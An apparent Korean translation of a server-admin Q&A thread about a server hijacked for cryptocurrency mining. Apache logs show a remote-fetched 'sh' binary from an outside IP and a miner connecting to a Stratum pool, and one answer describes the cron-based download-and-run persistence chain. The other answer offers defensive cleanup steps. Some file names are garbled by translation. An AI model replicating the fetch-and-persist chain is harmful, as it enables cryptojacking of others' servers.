서버 하이재킹/비트코인 채굴기로 사용 중 - 어떻게 막을 수 있나요?

서버 하이재킹/비트코인 채굴기로 사용 중 - 어떻게 막을 수 있나요?

제 서버가 하이재킹되어 비트코인 ​​채굴 작업에 연루된 것 같습니다.

최소한 어디서부터 시작해야 하는지 알아야 합니다. 저는 초보 시스템 관리자이고 이전에 실제로 이런 일을 겪어본 적이 없습니다. 대역폭이 너무 많이 소모되고 호스팅 제공업체에서 GB당 50c의 요금을 청구하고 있는데 이로 인해 하루 만에 255GB -> 301.8GB로 늘어났습니다. 도움을 주시면 감사하겠습니다.

나는 Stratum과 관련된 로그와 내 서버에 대해 실행되는 외부 IP 주소의 스크립트에서 많은 정크를 발견했습니다. 그런 다음 /tmp 디렉토리를 보면 다음과 같은 7개의 파일이 표시됩니다.

  • 세게 때리다
  • cron.d
  • mech.dir
  • spamd_full.sock
  • 업데이트

내 아파치 오류 로그 내용의 예는 다음과 같습니다.

[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40--  http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]      0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... ..........  9%  148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]     50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19%  172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]    100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29%  344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39%  514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]  ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    300K .......... .......... .......... .......... .......... 69%  224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79%  347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88%  348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    450K .......... .......... .......... .......... .......... 98%  254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ...                                                100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused

답변1

먼저 iptables를 사용하여 외부 주소에 대한 연결을 차단합니다.

iptables -A OUTPUT -d IP_Address -j DROP

모든 IP 주소가 차단되었는지 확인한 후 iptables를 저장 # /sbin/service iptables save하고 하이재커가 배치한 파일을 정리하세요.

하이재커가 귀하의 서버에 어떻게 거점을 확보했는지 나타낼 수 있는 항목이 남아 있는지 살펴보고 확인할 수 있습니다 /etc/var/log/messages./etc/var/log/secure

웹사이트를 운영하고 있다면 사용자가 PHP 셸과 같은 파일을 업로드할 수 있는 웹페이지가 없는지 확인하세요.

이제 시작해야 합니다. 또한 호스팅 제공업체에 바이러스 백신 검사를 수행하여 액세스를 허용하는 스크립트/파일을 찾도록 요청할 수도 있습니다.

답변2

귀하의 봇 채굴기가 연결되지 않아 계속해서 익스플로잇을 다시 실행하고 채굴기를 계속해서 다운로드합니다.

우리는 최근 관련이 있는 것처럼 보이는 잘못된 cgi-bin 설정을 악용하려는 시도를 목격했습니다.

다운로드를 시도 중이었습니다.

74.208.228.113 / a 

그리고 이를 쉘 스크립트로 실행합니다.

해당 스크립트는 우리가 볼 때 몇 가지 작업을 수행하며 crontab 항목을 지우고 다음에서 가져온 스크립트를 실행하려는 시도로 대체했습니다.

74.208.228.113 / update

또한 동일한 스크립트를 /etc/cron.hourly에 배치합니다.

해당 스크립트는 성공적인 광부 연결을 위해 'ps x' 및 grep을 수행합니다. 표시되지 않으면 스크립트를 다시 다운로드하고 다시 실행합니다.

스크립트의 마지막 부분에서

74.208.228.113 / clamav

그리고

74.208.228.113 / sh

이는 마인드의 다르게 컴파일된 버전으로 보입니다. clamav의 이름을 bash로 바꾼 다음 216.230.103.42에서 두 채굴을 모두 시작합니다.

따라서 유사한 방식으로 착취를 당했다면 다음을 수행해야 합니다.

  1. cgi-bin 비활성화

  2. 사용자가 httpd(예: 루트 또는 아파치)를 실행하는지 crontab에서 확인하고 "업데이트" 항목을 삭제하세요.

  3. /etc/cron.hourly/에서 update라는 파일을 확인하고 광부가 연결할 수 없는 216.230.103.42를 참조하는지 확인하세요. 그거 삭제해서

대역폭을 사용하는 업데이트 항목입니다. crontab은 매분마다 한 번씩 실행됩니다.

그러나 더 나은 대답은 궤도에서 핵무기를 발사하는 것입니다. cgi-bin이 스크립트를 실행하는 원격 공격을 허용하도록 설정되어 있으면 보장할 수 없습니다.

관련 정보